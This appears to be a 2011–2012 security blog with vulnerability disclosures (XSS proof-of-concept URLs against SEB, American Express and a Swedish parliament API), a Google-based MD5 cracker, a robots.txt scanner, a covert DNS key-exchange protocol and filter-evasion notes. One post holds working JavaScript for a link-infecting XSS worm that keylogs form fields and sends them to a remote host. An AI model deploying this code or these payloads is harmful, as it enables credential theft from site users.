Presenting DNSDH

March 29th, 2012 by qnrq

DNSDH is a protocol for exchanging cryptographic keys using the Diffie-Hellman algorithm. Instead of exchanging keys traditionally, the clients speak to a bogus DNS server to initiate an encrypted session in an existing channel of communication. The cryptographically relevant packets travel through a data path that appear to be normal domain name resolve queries to remain stealth and effective even behind limited and surveillanced networks. Please understand that the DNS server is only pretending to be a server for performing name lookups by using its language but performing different tasks.


The bogus DNS server is the center of the key exchange. It uses memcached to store data in memory and deletes any output after it’s been delivered to its recipient. The point of DNSDH is to establish a reliable network enabling anything that can perform a DNS request to exchange cryptographic keys using discrete bogus domain name queries. The nodes communicating, Alice and Bob, could possibly be two cellphones, IRC clients or even death stars. It’s also a great blast to teasingly merge cryptographic key exchanges with traffic that is rarely looked at by network administrators unless they want to censor or monitor you.

When initializing the session Alice first declares the values of p, g and Alice’s private key (alice_private) and then queries the bogus DNS server with dnsdhinit.p.g.alice_public. The DNS server creates a sessionid and stores it in the memory with the data provided in Alice’s query. Alice tells Bob that she wants to talk privately and sends him a packet containing the sessionid provided by the DNS server. Bob queries the DNS server with the sessionid recieved from Alice. The DNS server replies with the information provided in Alice’s query. Bob then proceeds by declaring his own private key (bob_private) and calculates the value of his public key: g^bob_private mod p. Bob can then calculate the secret he shares with Alice: alice_public^bob_private mod p. Then Bob queries the DNS server with dnsdhinit.bob_public, receives an id and sends it to Alice in a packet. Alice then queries the DNS server with the id, receives bob_public and calculates the secret she shares with Alice: bob_public^alice_secret mod p.

Alice

$ ./client.example.pl 1337 1338 init
[+] Generating keys...
[+] alice_pub_key: 7
[+] alice_priv_key: 19
[+] Query dnsdhinit.23.5.7
[+] SEND DNSDH_INIT: 6035559
[127.0.0.1:58602]: DNSDH_FINISH: 9300804
[+] Query sessionid.9300804
[+] p: 23
[+] g: 5
[+] bob_public: 1
[+] Shared secret: 1

Bob

$ ./client.example.pl 1338 1337
[127.0.0.1:60267]: DNSDH_INIT: 6035559
[+] Query sessionid.6035559
[+] p: 23
[+] g: 5
[+] alice_public: 7
[+] Generating keys...
[+] bob_pub_key: 1
[+] bob_priv_key: 0
[+] Shared secret: 1
[+] Query dnsdhinit.1
[+] SEND DNSDH_FINISH: 9300804

Source code

The source code is available on Github.

SE Banken multiple vulnerabilities

February 10th, 2012 by qnrq

Overview
Skandinaviska Enskilda Banken AB (SEB) is a Swedish financial group for corporate customers, institutions and private individuals with headquarters in Stockholm, Sweden. Its activities comprise mainly banking services, but SEB also carries out significant life insurance operations and also owns Eurocard. The bank was founded by and is controlled by the powerful Swedish Wallenberg family through their investment company Investor AB.

Problem
Page frame contents are decided by unsafely handled url parameters leaving the cms software globally vulnerable to xss attacks. Vulnerable domains are sebgroup.com, seb.no, seb.fi, seb.ua, seb.pl, seb.lt, seb.se and any other domain hosting the vulnerable cms. Customers may have illegitimate third party scripts executed on their computer or be subject to login credential theft and keylogging.

Proof of concept

http://www.seb.se/pow/wcp/top.asp?lang=se&website=%54%41%42%32%22%3e%3c%2f%61%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%77%61%7a%7a%75%70%27%29%3c%2f%73%63%72%69%70%74%3e

Timeline
2011-12-05: Vulnerabilities discovered
2012-01-12: Contacted SEB
2012-01-18: Received response (Computer Security Incident Response Team)
2012-01-19: SIRT notified
2012-01-23: Received arrogant response by SIRT (“we knew, thanks anyway”)
2012-02-09: Vulnerabilities patched

A glimpse into the third world

January 15th, 2012 by qnrq

Going to Cambodia has been a dream that I’ve cherished for five years. I’ve been very fascinated by the country from western distance, and last week my dream finally came true. After signing the forms to quit my former job as a software developer for Flattr and breaking up with my girlfriend I booked my flight from Stockholm to Phnom Penh through Frankfurt and Seoul.

The first wave of my cultural chock hit very hard when I had to pass through approximately 200 begging locals populating the airport exit. After way too long traveling with very limited sleep my only intentions were to get in the cab which I had arranged with the hotel that I had booked and lay down in a bed and try to let everything just sink in. It turned out that the driver had let me down and I couldn’t get the phone number provided to work. After passing the local horde a third time I simply picked a random taxi and asked him to take me to the first cheap hotel that he knew of.

Cambodia is one of the poorest countries on this planet. WHO has reported that 81% of the around 13.4 million people in 2008 live in rural areas. A very large portion of the population survives on solely $1 USD a day. The traces of the Pol Pot regime killing about one third of the population in the 70s are very obvious around here. Everybody that I’ve met is somehow still suffering from the wounds from the Maoist Khmer rouge.

Judging by my own personal experience, the statistics of the extreme poverty is very hard to grasp. Seeing pictures and video footage from distance was completely different to physically arriving and witnessing the misery. UNICEF has estimated that Cambodia is the third most landmined country in the world. Even though the civil war has ended, you still have to worry about its traces. The jungle will literally eat you if you don’t watch your step.

One day I visited the Cheong Ek killing field in Phnom Penh. Seeing the genocide center itself was very heartbreaking, but the worst part of it all was realizing that the two children in the picture above live and grow up just a couple of meters outside of the killing field with their home separated by a fence. I won’t lie. Seeing the conditions that they are growing up in probably changed me more than I am currently conscious of.

The following day a moto driver that I had befriended did me the honor of driving me to a village called Phnom Sruoch. It was just about an hour drive from Phnom Penh, but it’s not a place where tourists normally go. Many villagers that I met had never seen a foreigner before.

On my way there I bought 30 writing books and 30 pencils for $12.5. As a comparison I’ve received around $30 from volunteer donations to this blog through Flattr. Thank you. This one is for all of you guys who think some of the stuff that I publish here is worth paying for.

But $12.50 is a lot less than the $30 that you’ve flattred me for. I wouldn’t want to let you down. Yesterday I bought a 50 kg sack rice for $45 and donated it to the Light House orphanage on lakeside Phnom Penh, which is currently the home of 108 children. Consider it a bonus.

Don’t rely on charity organizations to do the work for you. If you truly want to help the world and improve the living conditions of people suffering: then do. You don’t have to come and visit the third world and risk your life for direct action. Many orphanages have donations through systems like PayPal, you just have to find them. There are many good people in the world that may help you without taking a cut like big organizations do. Don’t expect the world to change because you’re funding an organization. If you want action to be taken then please, take action.

Eliminating the myths of XSS attacks

December 8th, 2011 by qnrq

In this post I will introduce you to undiscovered usages of an XSS, and also demonstrate how to transform a non-persistent XSS to a persistent and make an actual practical threat. Cross site scripting attacks are listed as number two on OWASP’s top 10 list of application security risks year 2010, and I wouldn’t expect those numbers to drop anytime soon.

The used attack vectors of an XSS are quite simple:

  1. Attacker injects code into data which the server reflects, other users visit the page where the malicious code is displayed and get their cookies stolen.
  2. Attacker injects code into request parameters that the server reflects, sends infected URI to the victim user whose cookie is stolen.
  3. Attacker injects code that exploits unknown web browser vulnerability to install malware on the users computer into request parameters that is somehow (either through number one or number two) executed by the user.
  4. Attacker injects malicious login form and performs a phishing attack on the victim.

That’s pretty much it. When an XSS is demonstrated, persistent or not, a researcher will throw a JavaScript alert() message or inject a cookie stealer. In the eye of the unconscious developer of the site, your alert() doesn’t mean anything. Fake JavaScript page defacements don’t mean a thing either. “Oh, you can give me a warning? Good for you.” The only time they will act is when your injection can somehow mess up the way the page looks. And not because it’s a security risk, but because it’s messing up their layout.

Nobody cares about stolen cookies. And why would they? Cookies are not the issue. It’s common praxis to require re-authentication, like password input, besides session values to change things that will affect requiring new session values: new e-mail address, new password, etc. In truly sensitive systems cookies should be bound to the user’s IP address, and if the attacker has local access to the victim’s IP address there are so many attack possibilities that the cookie isn’t the victim’s largest problem.

I believe that it’s safe to assume that the popularity of unpatched XSS vulnerabilities is due to warnings about nonthreatening threats. “Hey man, check this out. I totally just alert(‘hax’):ed your site locally in my own browser without affecting anybody!” Nobody is going to take that seriously.

Keep in mind that there’s a huge differentiating detail between a vulnerable GET and POST parameter. For logical reasons web browsers perform GET requests by default, and maliciously getting a user to submit something with an infected POST parameter is (“should” be) harder than giving them a link.

Broadening the scope of an XSS attack

As a demonstration of what JavaScript is truly capable of when used for malicious purposes, I have written a self aware virus that infects links and forms (href and action attributes) with its own payload when an infected victim’s web browser renders the page. The virus looks for a query parameter containing \%3c\%73\%63\%72\%69\%70\%74 (<script) in the query of an URI and then infects the target destinations with itself so that it’s kept for a longer period than just the one page the user is viewing. It should logically always find at least one occurrence of itself, otherwise it wouldn’t execute to begin with.

This way, the virus spreads through transformation from a non-persistent XSS injection to a semi-persistent. It exercises worm-like behavior; not in the sense of spreading user->user, but page->page. It is, however, user borne if infected links are copied between multiple users. By infecting action attributes of form elements the infection is also active after the user has executed a login or logout, unless the web server performs a redirect to an uninfected URI.

Wonderfully enough, it’s possible to pass any GET parameters with any value you want to an httpd without breaking anything. You could GET http://www.nsa.gov/?bat=man without breaking anything, unhandled parameters are completely ignored. Thus our virus can be very aggressive about infection: the infected victim wouldn’t tell a difference either way. It’s quite unrare that a vulnerable CMS or MVC will allow the same vulnerable parameter to be passed to any visually rendered part of the site. Remember American Express?

Either way, login credentials are sent to a remote location controlled by the attacker. All form elements are hooked up with a keylogger. By default, the virus makes HTTP requests to an URI controlled by the attacker, and requests the logged information making it show up in logs like GET /username=foo,password=bar It is very easy to hook it up with additional sniffing, e.g. parsing the rendered website for credit card information.

It’s written to be entirely independent of bloated JavaScript libraries and plugins to keep it as light weight as possible at execution. It’s still an educational proof of concept though, and some bugs are intentionally left unfixed.

// Inject param=payload into target
function inject(target, param, payload)
{
  if(!target.match("\\?"))
    return target + "?" + param + "=" + payload;
  return target + "&" + param + "=" + payload;
}

// Sends data to remote location
function snatch(data)
{
  var i = document.createElement("img");
  i.src = "http://127.0.0.1/" + data;
}

window.onload = function()
{
  window.location.toString().match(/\?(.+)/);
  var query = RegExp..split("&");

  for(i = 0; i < query.length; i++)
  {
    var tmp = query[i].split("=");
    var unescaped = unescape(tmp[1]);
    var payload = "";

    for(x = 0; x < unescaped.length; x++)
      payload += '%' + unescaped.charCodeAt(x).toString(16);

    // Found self
    if(payload.match("\%3c\%73\%63\%72\%69\%70\%74"))
    {
      var param = tmp[0];
      break;
    }
  }

  // Infect href elements
  var links = document.getElementsByTagName("a");
  for(i = 0; i < links.length; i++)
    links[i].href = inject(links[i].href, param, payload);

  var forms = document.getElementsByTagName("form");
  for(i = 0; i < forms.length; i++)
  {
    // Infect action elements
    document.forms[i].action = inject(forms[i].action, param, payload);

    // Initialize keylogger
    document.forms[i].onsubmit = function()
    {
      var logged = new Array();
      for(x = 0; x < this.elements.length; x++)
        if(this.elements[x].type != "submit")
          logged[x] = this.elements[x].type + "=" + this.elements[x].value;
      snatch(logged);

      return true;
    }
  }
}

UPDATE: The method of spreading was first introduced in the BeEF framework

BozoCrackPHP

November 13th, 2011 by qnrq

BozoCrack is a depressingly effective MD5 password hash cracker with almost zero CPU/GPU load. Instead of rainbow tables, dictionaries, or brute force, BozoCrack simply finds the plaintext password. Specifically, it googles the MD5 hash and hopes the plaintext appears somewhere on the first page of results.

It works way better than it ever should.

BozoCrack was originally written in Ruby and published on GitHub by juuso. I liked the idea, and figured I’d do a PHP port:

<?php
/**
 * BozoCrack is a depressingly effective MD5 password hash
 * cracker with almost zero CPU/GPU load. Instead of
 * rainbow tables, dictionaries, or brute force, BozoCrack
 * simply finds the plaintext password. Specifically, it
 * googles the MD5 hash and hopes the plaintext appears
 * somewhere on the first page of results.
 *
 * Original BozoCrack can be found on https://github.com/juuso/BozoCrack
 *
 * Ported from Ruby to PHP by Niklas Femerstrand, qnrq.se, 2011
 * License: http://sam.zoy.org/wtfpl/
 */

if(!isset($_SERVER['argv'][1]))
  die("Usage example: $ php bozocrack.php file_with_md5_hashes.txt\n");

$fileContents = file_get_contents($_SERVER['argv'][1]);
preg_match_all("/\b([a-fA-F0-9]{32})\b/", $fileContents, $hashes);
$hashes = array_unique($hashes[0]);
printf("Loaded %s unique hashes\n", count($hashes));

foreach($hashes as $hash)
{
  $response = file_get_contents("http://www.google.com/search?q={$hash}");
  $wordlist = preg_split("/\s+/", $response);
  foreach($wordlist as $word)
  {
    if($hash == md5($word))
    {
      printf("%s:%s\n", $hash, $word);
      break;
    }
  }
}

Hushmail and the security misunderstanding

October 20th, 2011 by qnrq

Let’s talk a bit about a very common topic which is widely discussed whenever secure communication is brought up: encrypted emails. People often wonder what the best way to talk securely is through email. Hushmail is a popular service, if you haven’t heard of it then look it up. The problem with Hushmail is that people believe that it’s secure. Searching for them on Twitter brings up tweets written by groups such as Anonymous and the recent Occupy Wall Street inspired subcultures. The problem with most Hushmail users is that they believe that they are secure, either because they have no idea of what they’re relying on or because they didn’t read what they’re told. Hushmail has, like the marketing genious it is, after all, never really claimed to be secure. At least not if you dig around a bit and actually read what they’re saying. You don’t have to be a rocket scientist to see a monetary interest in not printing such information directly in your face, but instead build a security facade with keyhole images all over the place. The problem is that people haven’t done their homework.

As we all know, and South Park beautifully illustrated in its “Human Centipad” episode, users don’t read user agreements. Ever. The time has come to do so. A snippet from Hushmail’s privacy policy reveals that:

“Hush restricts user information and has protocols that allow only specific employees to have access to the user database itself.”

Man, I love buzzwords… Continuing: “Hushmail does not put you above the law”:

“We are committed to the privacy of our users, and will absolutely not release user data without an order that is legally enforceable under the laws of British Columbia, Canada, which is the jurisdiction where our servers are located. In addition, we require that any such order refer specifically to the account for which data is required.

[snip]

That means that there is no guarantee that we will not be compelled, under an order enforceable under the laws of British Columbia, Canada, to treat a user named in an order differently, and compromise that user’s privacy.”

A trip down Hushmail’s memory lane reveals that it handed over 12 CDs of decrypted emails to the US authorities, but that’s not really worth going further into. Let’s just conclude that it’s entirely possible.

The moral of the story is that you’re trusting a service with your private communication which promises to not release any data to governments unless they explicitly ask for it through Canadian law as proxy. The same governments that already passed mass surveillance laws which are probably at least a tad reason of why you want to secure your digital communication to begin with. For all we know, they might already have politely asked Hushmail and similar services to install backdoors which they could use whenever. You lose, but please don’t forget to insert all your coins and play again.

robots.txt scanner proof of concept

October 7th, 2011 by qnrq

Due to the recent scandal of American Express listing their publicly available admin debug panel in their robots.txt file, here’s a sloppy proof of concept that can be used to find similar security issues.

Remember:

  • robots can ignore your /robots.txt. Especially malware robots that scan the web for security vulnerabilities, and email address harvesters used by spammers will pay no attention.
  • the /robots.txt file is a publicly available file. Anyone can see what sections of your server you don’t want robots to use.

http://www.robotstxt.org/robotstxt.html

Either way, a location such as /us/admin/ would be in any wordlist of interesting locations and you should always protect sensitive parts of your system with authorization requirements.

<?php
/**
 * Quick hack to determine HTTP status codes of locations listed in a host's
 * robots.txt file.
 * Author: Niklas Femerstrand, qnrq.se, 2011
 * License: http://sam.zoy.org/wtfpl/
 */

// Determine HTTP status code of $file on $host
function httpstatus($host, $file) {
   $fp = fsockopen($host,80,$errno,$errstr,30);
   $out = "GET /$file HTTP/1.1\r\n".
          "Host: $host\r\n".
          "Connection: Close\r\n\r\n";
   fwrite($fp,$out);
   $response = fgets($fp);
   return chop($response);
}

if (!$argv[1])
	die("usage: $ php robotscan.php <host>\n   eg: $ php robotscan.php www.google.com\n");

$host = preg_replace("/\/$/", "", $argv[1]);
$target_url = $argv[1] . "/robots.txt";

$filters = array("/[ ]?Allow:[ ]?/",
                 "/[ ]?Disallow:[ ]?/",
                 "/[ ]?Sitemap:.*/",
                 "/[ ]?Request-rate:.*/",
                 "/[ ]?Crawl-delay:.*/",
                 "/[ ]?Visit-time:.*/",
                 "/.*[$*].*/",
                 "/User-agent: .*/",
                 "/#+.*/");

echo "[+] Getting robots.txt content\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "{$argv[1]}/robots.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$robots = curl_exec($ch);

if(!$robots)
{
	$httpStatus = httpstatus($host, "robots.txt");
	if(preg_match("/200 OK/", $httpStatus))
		die("[-] robots.txt exists but seems empty\n");
	else
		die("[-] {$httpStatus}\n");
}
elseif(preg_match("/([\<])([^\>]+)*([\>])/i", $robots))
	die("[-] robots.txt is incorrectly formatted (html?)\n");
else
{
	$robots = preg_replace($filters, "", $robots);
	$robots = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $robots);
	$arr = explode("\n", $robots);

	foreach($arr as $loc)
		printf("[+] %s: %s\n", "{$host}{$loc}: ", httpstatus($host, $loc));
}

0day Full disclosure: American Express

October 5th, 2011 by qnrq

When somebody voluntarily contacts a company and repeatedly mentions words like “security vulnerability” and “hacker” one would think the company would act as quickly as possible. At least all of the companies that I’ve been in touch with regarding security issues have. This time the experience streak changed drastically. To my great surprise American Express doesn’t allow anybody to contact them. Instead, you’re sent through their ten-year-old copyright noticed website’s first line support jungle to be attacked with questions ensuring that you’re a paying customer. If you’re not then you might as well not bother, unless you feel like speaking technical advanced 0day vulnerabilities with incompetent support personnel either through Twitter direct messages or phone. They will leave you no option of contacting them in a manner that circumvents any theoretical possibility they may have of boosting sales numbers.

The only acceptable contact methods that I found on their site were telephone, fax or physical mail to some typoed country called Swerige. I figured none of them were suitable for 0day reports and decided to turn to Twitter and ask for an e-mail address or some other modern protocol.

AMEX Tweet conversation

With the pesky, but relevantly necessary, introduction out of the way: let’s focus on the concrete security disclosure. A little “oops” that one of the developers left behind unprotected breaches many parts of American Express’ security in one hit, one might say that this mistake is a multikill. On https://www.americanexpress.com/us/admin/ you’ll find the following admin panel:

The left column is a list of, what the American Express developers call “heroes”, for the current period. (Most people call them “news”.) The list is downloadable as a CSV file and the contents are completely harmless:

"ID","Status","Type","Description","Path"
"10026","Inactive","In Development","NN105 - Brand - JD Power 5 Year Win Midas","/us/heroes/10026-Brand-JDPower5thYearMidas/hero.html"
"10025","Inactive","In Development","NN135 - Brand - Vente Privee","/us/heroes/10025-Brand-VentePrivee/hero.html"
"10022","Active","Prospect & Cardmember","NM280 - Travel - MIDAS Help Is On the Way","/us/heroes/10022-Travel-HelpIsOnTheWay/hero.html"
"10021","Active","Prospect & Cardmember","NM207 - Travel - Travel Pier Sept 2011","/us/heroes/10021-Travel-TravelPierSept2011/hero.html"
"10020","Active","Prospect & Cardmember","NL986 - Brand - JD Power 5 Year Win","/us/heroes/10020-Brand-JDPower5thYear/hero.html"
"10018","Active","Prospect & Cardmember","NL872 - OPEN - Business Rewards Gold","/us/heroes/10018-OPEN-BusinessRewardsGold/hero.html"
"10014","Active","Prospect & Cardmember","Brand - AMEX Facebook Sync","/us/heroes/10014-Brand-FacebookSync/hero.html"
"10012","Active","Prospect & Cardmember","Brand - AMEX Foursquare Sync","/us/heroes/10012-Brand-FoursquareSync/hero.html"
"10002","Active","Prospect & Cardmember","Mobile - AMEX Mobile Services","/us/heroes/10002-Mobile-MobileServices/hero.html"
"10024","Active","Cardmember","NN047 - Brand - Profile and Preferences","/us/heroes/10024-Brand-ProfileandPreferences/hero.html"
"10023","Active","Cardmember (PZN Only)","NM612 - OPEN - PZN Business Rewards Gold","/us/heroes/10023-OPEN-PznBusinessRewardsGold/hero.html"
"10017","Active","Cardmember (PZN Only)","NL766 - CCSG - MIDAS Platinum Benefits","/us/heroes/10017-CCSG-PlatinumBenefits/hero.html"
"10016","Active","Cardmember (PZN Only)","NL767 - OPEN - MIDAS Platinum Benefits","/us/heroes/10016-OPEN-PlatinumBenefits/hero.html"
"10019","Inactive","Expired","Brand - 911 Tribute Movement","/us/heroes/10019-Brand-911TributeMovement/hero.html"
"10015","Inactive","Expired","Entertainment - USOPEN Total Immersion","/us/heroes/10015-Entertainment-USOPENTotalImmersion/hero.html"
"10013","Inactive","Expired","Brand - AMEX Facebook Sync","/us/heroes/10013-Brand-FacebookSync/hero.html"
"10011","Inactive","Expired","OPEN - Big Break","/us/heroes/10011-Open-SmallBusiness/hero.html"
"10010","Inactive","Expired","Rewards-MillionPointContest","/us/heroes/10010-Rewards-MillionPointContest/hero.html"
"10009","Inactive","Expired","Entertainment - US OPEN Pre-Sale","/us/heroes/10009-Entertainment-USOPENPreSale/hero.html"
"10008","Inactive","Expired","Travel - Get Your Feet Wet","/us/heroes/10008-Travel-GetYourFeetWet/hero.html"
"10007","Inactive","Expired","Membership Rewards - Social Currency","/us/heroes/10007-Rewards-SocialCurrency/hero.html"
"10006","Inactive","Expired","Mobile - Million Downloads","/us/heroes/10006-Mobile-MillionDownloads/hero.html"
"10005","Inactive","Expired","Brand - US Homepage Launch","/us/heroes/10005-Brand-USHomepageLaunch/hero.html"
"10003","Inactive","Expired","Brand - AMEX Members Project","/us/heroes/10003-Brand-MembersProject/hero.html"
"10004","Inactive","Expired","Membership Rewards - Social Currency","/us/heroes/10004-Rewards-SocialCurrency/hero.html"
"10001","Inactive","Expired","NPL - Zync Homepage Promo","/us/heroes/10001-NPL-Zync/hero.html"
"20001","Inactive","Expired","Brand - JD Power & Associates 2010 (Prospect)","/us/heroes/20001-Brand-JDPower2010/hero.html"
"30001","Inactive","Expired","Brand - JD Power & Associates 2010 (Cardmember)","/us/heroes/30001-Brand-JDPower2010/hero.html"
"99001","Inactive","Expired","Animation Prototype","/us/heroes/99001-FPO-PowerOfMembership/hero.html"

The right column of the admin panel consists of what the developers call “cardmember cookies” and options for setting them with various parameters. The cookies are then used for viewing the heroes with various user permissions for debugging. A JavaScript comment gives an idea of how such an important thing as the admin debugging could be left wide open:

/* don't ask me how exactly, but this gets the main
domain froma  hostname; */

Adobe DigitalPulse v3 was also left behind fully accessible by anyone:

I must say their debug window impressed me. It’s a fancy little jQuery using div that I’m very sure that the developers enjoy using:

Understandably developers get sloppy around security implementations in debug features. Ironically, this becomes a direct threat in a case where a company’s developers don’t protect their debugging tools from the public. The debugging tool is vulnerable to XSS and it quickly becomes an issue when the debugging tools are called through unprotected GET parameters. Proof of concept (read warning below): https://www.americanexpress.com/?debug=true&heroOverride=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%68%61%78%27%29%3c%2f%73%63%72%69%70%74%3e

The debug window refreshes itself so injected code that doesn’t break the loop will execute infinitely. An attacker could inject a cookie stealer combined with jQuery’s .hide() and harvest cookies which can, ironically enough, be exploited by using the admin panel provided by sloppy American Express developers.

Let’s hope American Express resolve these issues ASAP :-)

Security advisory: data.riksdagen.se

September 29th, 2011 by qnrq

Discovered by: Niklas Femerstrand (qnrq)

Overview
data.riksdagen.se is an API developed by the legislative assembly of Sweden.

Problem
A vulnerability exists in the generation of XML data where data values of the output are affected by parameters in the URL. Hexadecimal values are properly validated leaving the software vulnerable to parameter and JavaScript injections and XML external entity attacks. A successful XXE attack grants an unauthorized attacker read permissions with privilege escalation possibilities and various services on the web server risk becoming compromised.

Proof of concept
Test parameter injection: http://data.riksdagen.se/voteringlista/?rm=%22%20%74%65%73%74%3d%22

Disclosure timeline
2011-09-27 Notified web section director (Anna Olderius)
2011-09-28 Received response
2011-09-28 Issues resolved
2011-09-29 Public release

FortiGate censorship analysis

September 12th, 2011 by qnrq

The S23K, also known as the Pirate Bay tour bus, had boarded a Scandlines ferry from Trelleborg. We were a group of pirates and hackers on our way to Chaos Communication Camp 2011 in Finowfurt, Germany. There was free satellite WiFi available on board, and after a while me and my friend jaywalk of Telecomix discovered that one of the project’s home domains, cryptoanarchy.org, had been blocked for being a “malicious website”. With approximately an hour left from reaching Germany we found this to be a perfect opportunity to warm up.

The blockade of cryptoanarchy.org, filtered as a “Malicious Website” most likely triggered by the occurance of the word “anarchy” in the domain, was quickly evaded by accessing the site using HTTPS. SNI (Server Name Indication) was ignored. We found that airvpn.org was blocked on IP level and so was thepiratebay.org.

We found that blockades on the IP level were forwarded to port 8008 on the FortiGate gateway. Accessing the gateway directly gives a login prompt for disabling filters.

If you’re interested, their 756 page system manual is publicly available for download. If you read between the lines you’ll be able to extract information on how to work around their censorship or even disable it completely. :-)

FortiGate categories

  • Abortion
  • Abused Drugs
  • Adult Materials
  • Advertisements
  • Advocacy Groups
  • Alcohol and Tobacco
  • Arts and Entertainment
  • Brokerage and Trading
  • Business and Economy
  • Computer Security
  • Cult or Occult
  • Cultural Institutions
  • Dynamic Content
  • Education
  • File Sharing and Storage
  • Financial Data and Services
  • Freeware and Software
  • Download
  • Gambling
  • Games
  • Gay or Lesbian or Bisexual Interest
  • Government and Legal Organizations
  • Hacking
  • Health
  • Illegal or Questionable Information
  • Technology
  • Internet Communication
  • Job Search
  • Malicious Web Sites
  • Medicine
  • Militancy and Extremist
  • Military Organizations
  • Miscellaneous
  • News and Media
  • Nudity
  • Pay to Surf
  • Personals and Dating
  • Political Organizations
  • Pornography
  • Racism or Hate
  • Reference Materials
  • Religion
  • Search Engines and Portals
  • Shopping and Auction
  • Social Organizations
  • Society and Lifestyles
  • Special Events
  • Sports
  • Spyware
  • Streaming Media
  • Tasteless
  • Travel
  • Vehicles
  • Violence
  • Weapons
  • Web Hosting
  • Web-based Email

FortiGate classification levels

  • Unclassified
  • Cached Content
  • Multimedia
  • Search
  • Image Search
  • Audio Search
  • Video Search
  • Spam URL
  • Personal Privacy